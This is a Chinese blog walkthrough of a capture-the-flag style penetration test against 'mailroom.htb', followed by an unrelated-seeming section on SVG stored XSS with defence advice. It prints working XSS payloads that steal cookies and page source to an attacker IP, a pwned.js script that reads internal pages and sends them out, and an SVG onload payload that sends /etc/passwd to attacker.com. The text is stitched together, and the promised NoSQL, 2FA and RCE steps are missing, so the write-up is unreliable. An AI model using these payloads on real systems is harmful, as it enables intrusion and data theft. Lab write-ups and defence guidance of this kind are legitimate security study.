渗透测试 | 一次利用XSS读取源码

本文详细描述了一次网络安全渗透测试的过程,从XSS漏洞利用开始,通过XMLHttpRequest发起AJAX请求实现内网请求,接着利用Nosql注入获取用户信息,绕过2FA验证,再通过RCE反弹shell,最终解密kdbx文件获取root权限。

常规的XSS利用方式主要有窃取cookie、恶意链接、获取键盘记录、网页钓鱼、挂马等等,本次渗透首先通过XSS漏洞,利用XMLRequest发起ajax请求,实现了发起http请求的目的,并且把请求的结果返回了,通过代码审计,打开了突破的口子。后续还运用到了Nosql注入、绕过2FA验证、kdbx文件解密等等技术,渗透过程涉及很多小的知识点,充满乐趣与挑战,下面开始此次渗透之旅。

一、信息收集

nmap -p- --min-rate=1000 -T4 -sC -sV -Pn 10.10.11.209

看来要从80端口的web服务硬着开始了。

目录扫描一波无果,发现还存在子域名;

另外一个子域名的发现是需要考耐心和水平的,(别忘记了查看源码的重要性);

接下来又是常规的对子域名开展一波信息收集,然后就进入漏洞挖掘阶段。

二、漏洞挖掘

1、XSS漏洞

进到web界面各种尝试发现了一个xss,

<script>alert('xss')</script>

并没有过滤,可以成功触发;

第一反应是想到抓cookie,尝试这个payload来获取cookie失败了,什么都没拿到;

<script src="http://10.10.16.5/XSS/getcookie.php?cookie='+document.cookie+'"></script>

后续也尝试了其他利用方法均无果。

2、XMLRequest发起ajax请求

在网上搜索后发现另一种方法,利用xss,最终实现了发起http请求的目的,并且把请求的结果返回了,我也尝试一下;

<script>
var fetch_req = new XMLHttpRequest();
fetch_req.onreadystatechange = function() {
    if(fetch_req.readyState == XMLHttpRequest.DONE) {
        var exfil_req = new XMLHttpRequest();
        exfil_req.open("POST", "http://10.10.16.5", false);
        exfil_req.send("Resp Code: " + fetch_req.status + "\nPage Source:\n" + fetch_req.response);
    }
};
fetch_req.open("GET", "http://127.0.0.1//contact.php", false);
fetch_req.send();
</script>

nc -lvnp 80

成功收到了请求的信息,内容就是contact.php 的内容,也就是意味着我们可以在内网中发起请求。

我们直接在kali本地访问子域名,发现403了。

那么接下来我们尝试使用xss进行请求。

└─# cat pwned.js                                                                                            
var http = new XMLHttpRequest();
http.open('GET', "http://staff-review-panel.mailroom.htb/index.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function () {
    fetch("http://10.10.16.5/out?" + encodeURI(btoa(this.responseText)));
};
http.send(null);


Burp报文

POST /contact.php HTTP/1.1
Host: mailroom.htb
Content-Length: 82
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://mailroom.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.48
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://mailroom.htb/contact.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

email=1%401.com&title=1&message=<script src="http://10.10.16.5/pwned.js"></script>

### 检测与防范 SVG 文件中的存储型 XSS 攻击 SVG(可缩放矢量图形)是一种基于 XML 的图像格式,它允许嵌入脚本和样式表,因此可能成为 XSS(跨站脚本攻击)的载体。在特定条件下,攻击者可以通过 SVG 文件中的存储型 XSS 读取敏感文件,例如 `/etc/passwd`。 #### 存储型 XSS 攻击如何读取 `/etc/passwd` 在某些情况下,攻击者可以利用 SVG 文件中的存储型 XSS读取服务器上的敏感文件,如 `/etc/passwd`。这通常需要以下条件: 1. **服务器端渲染 SVG**:如果服务器端渲染 SVG 文件,并且没有正确过滤或转义用户提交的内容,攻击者可以注入恶意脚本。 2. **本地文件读取漏洞**:如果 SVG 文件在客户端或服务器端被解析,并且存在文件读取漏洞,攻击者可以通过 SVG 的脚本功能尝试读取本地文件。 一个典型的攻击向量是使用 `XMLHttpRequest` 或 `fetch` API 从本地文件系统读取文件。例如,攻击者可以在 SVG 中嵌入如下脚本: ```xml <svg xmlns="http://www.w3.org/2000/svg" onload="fetch('file:///etc/passwd').then(response => response.text()).then(data => new Image().src='http://attacker.com/log?'+encodeURIComponent(data))"> </svg> ``` 此代码会在 SVG 加载时发起一个请求,尝试读取 `/etc/passwd` 文件,并将内容通过图片请求发送到攻击者的服务器。需要注意的是,这种攻击通常需要浏览器或解析器支持本地文件访问,并且受到同源策略的限制。[^2] #### 如何检测 SVG 文件中的 XSS 漏洞 1. **静态分析**:使用静态代码分析工具检查 SVG 文件中是否包含 `<script>` 标签、`onload`、`onerror` 等事件处理属性。 2. **动态分析**:在受控环境中加载 SVG 文件,监控是否发起可疑的网络请求或执行恶意脚本。 3. **内容安全策略(CSP)**:检查服务器是否配置了严格的内容安全策略,防止未经授权的脚本执行。 #### 如何防范 SVG 文件中的 XSS 攻击 1. **输入验证与转义**:对用户上传的 SVG 文件进行严格的输入验证,移除或转义所有脚本标签和事件处理属性。 2. **使用 SVG 净化库**:采用专门的 SVG 净化库,如 [SVG sanitize](https://github.com/cure53/DOMPurify),确保 SVG 文件中不包含恶意内容。 3. **内容安全策略(CSP)**:在 HTTP 响应头中设置 `Content-Security-Policy`,限制只允许加载可信来源的脚本。 4. **文件类型限制**:限制用户只能上传特定格式的图像文件,避免 SVG 文件被滥用。 5. **沙箱化渲染**:在沙箱环境中渲染用户上传的 SVG 文件,防止其访问敏感资源。 ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

AI小模型

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值